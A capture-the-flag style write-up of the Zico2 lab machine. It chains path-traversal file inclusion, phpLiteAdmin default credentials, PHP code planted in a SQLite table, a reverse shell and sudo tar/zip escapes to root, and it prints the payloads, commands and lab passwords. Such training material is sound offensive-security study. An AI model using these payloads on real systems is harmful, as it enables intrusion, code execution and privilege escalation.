🦅 ZICO 2: 1 — OSCP Raw | NullyBlissful

“I am not a body. I am not even the mind.”

This image is not relevant to the room.

INTRO: LFI → phpLiteAdmin with default credentials → PHP file write via SQLite → LFI to RCE → Reverse shell → Sudo misconfiguration → Root. Clean OSCP-style chain: file inclusion → admin panel abuse → code execution → privilege escalation.

Get NullyBlissful’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

I used arp-scan to identify the machine’s IP address.

sudo arp-scan --interface=enp0s3 --localnet

🔍 NMAP SCAN

nmap -v -p- -T4 192.168.100.56 -Pn
nmap -v -sV -sC -p22,80,111,34596 -T4 192.168.100.56 -Pn

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)
|   2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)
|_  256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Zico's Shop
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34596/tcp   status
|   100024  1          35081/tcp6  status
|   100024  1          42418/udp   status
|_  100024  1          44153/udp6  status
34596/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

🌐 Enumerating HTTP

Stating with port 80, See a website titled: Zico’s Shop While inspecting the page source, I found an interesting parameter:

<a href="/view.php?page=tools.html">Check them out!</a>

The page= parameter immediately looked suspicious. Since the parameter directly loads files, I attempted path traversal:

http://192.168.100.56/view.php?page=../../../../../../../../../../../etc/passwd

✅ And it worked!. I successfully retrieved /etc/passwd.

👀 Interesting Users Found

From the output: zicoand rootthe sence of zico is interesting since the site is named after him. Directory Brute forcing, To enumerate hidden directories:

gobuster dir -u http://192.168.100.56 -w /usr/share/wordlists/dirb/common.txt

===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 287]
/index.html           (Status: 200) [Size: 7970]
/index                (Status: 200) [Size: 7970]
/img                  (Status: 301) [Size: 314] [--> http://192.168.100.56/img/]
/tools                (Status: 200) [Size: 8355]
/tools.html           (Status: 200) [Size: 8355]
/view.php             (Status: 200) [Size: 0]
/view                 (Status: 200) [Size: 0]
/css                  (Status: 301) [Size: 314] [--> http://192.168.100.56/css/]
/js                   (Status: 301) [Size: 313] [--> http://192.168.100.56/js/]
/vendor               (Status: 301) [Size: 317] [--> http://192.168.100.56/vendor/]
/package              (Status: 200) [Size: 789]
/LICENSE              (Status: 200) [Size: 1094]
/less                 (Status: 301) [Size: 315] [--> http://192.168.100.56/less/]
/.html                (Status: 403) [Size: 287]
/server-status        (Status: 403) [Size: 295]
/dbadmin              (Status: 301) [Size: 318] [--> http://192.168.100.56/dbadmin/]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

The most interesting directory was: /dbadmin it is running phpLiteAdmin v1.9.3.

I search for the default password for the phpLiteAdmin which was admin (damm).

🗄 Database Enumeration

Inside the database, I found credentials. i crack them using the hashes.com. And found root and zico password, spoiler which was of no use.

root:96781a607f4e9f5f423ac01f0dab0ebd:zico2215@
nico:653f4b285089453fe00e2aafac573414:34kroot34

After a while, i fount out that PHPLiteAdmin 1.9.3 have Remote PHP Code Injection.

💣 Exploiting phpLiteAdmin — RCE via LFI

Since I already have: LFI and Database access, I can combine both to get Remote Code Execution. Step 1 — Create Malicious Table, Inside phpLiteAdmin:

• Create table named: hack.php
• Add one row
• Data type: TEXT

Value: <?php phpinfo(); ?>

This creates a PHP file inside the database directory. Step 2 — Trigger via LFI, Now use LFI to include the file as database name says it (path of the database):

http://192.168.100.56/view.php?page=../../../../../../../../../../../usr/databases/test_users

Once triggered, PHP executes. I now have code execution.

Replace payload with this:

<?php echo system('command');?>

Then execute commands via:

http://192.168.100.56/view.php?page=../../../../../../../../../../../usr/databases/test_users

I use the nc mkfifo form the revshells.com and to catch the shell i used penelope, It is a shell handler.

🔼 Privilege Escalation

we know the user zico exist on target. He have the wordpress directory which is odd.

cd /home/zico
ls -al

and the wp-config file is open to read for all users and it have the zico user password.

cat /home/zico/wordpress/wp-config.phh

Switching user to zico, and Checking sudo permissions:

zico:sWfCsfJSPV9H3AmQzw8

sudo -l

Found that it can run tar command and the zip command as sudo, I got root shell from both using the gtfobins.org.

sudo /bin/tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

and root from the zip.

sudo /usr/bin/zip /home/zico/wordpress-4.8.zip /etc/hosts -T -TT '/bin/sh #'

🏁 Root Flags

cat /root/flag.txt

🦅From NullyBlissful

“I am not a body, I am not even the mind.”

Next up: coming from NetSecFocus Trophy Room.

Follow me on Medium for write‑ups, red teaming, CTFs, and cyber‑alchemy, and check out my tools and scripts on GitHub: github.com/MayanSuthar.

🌿Remember: Whatever life throws at you, if you learn to shake it off and stand on it, you can make it a basis of your growth, maturity, and wellbeing.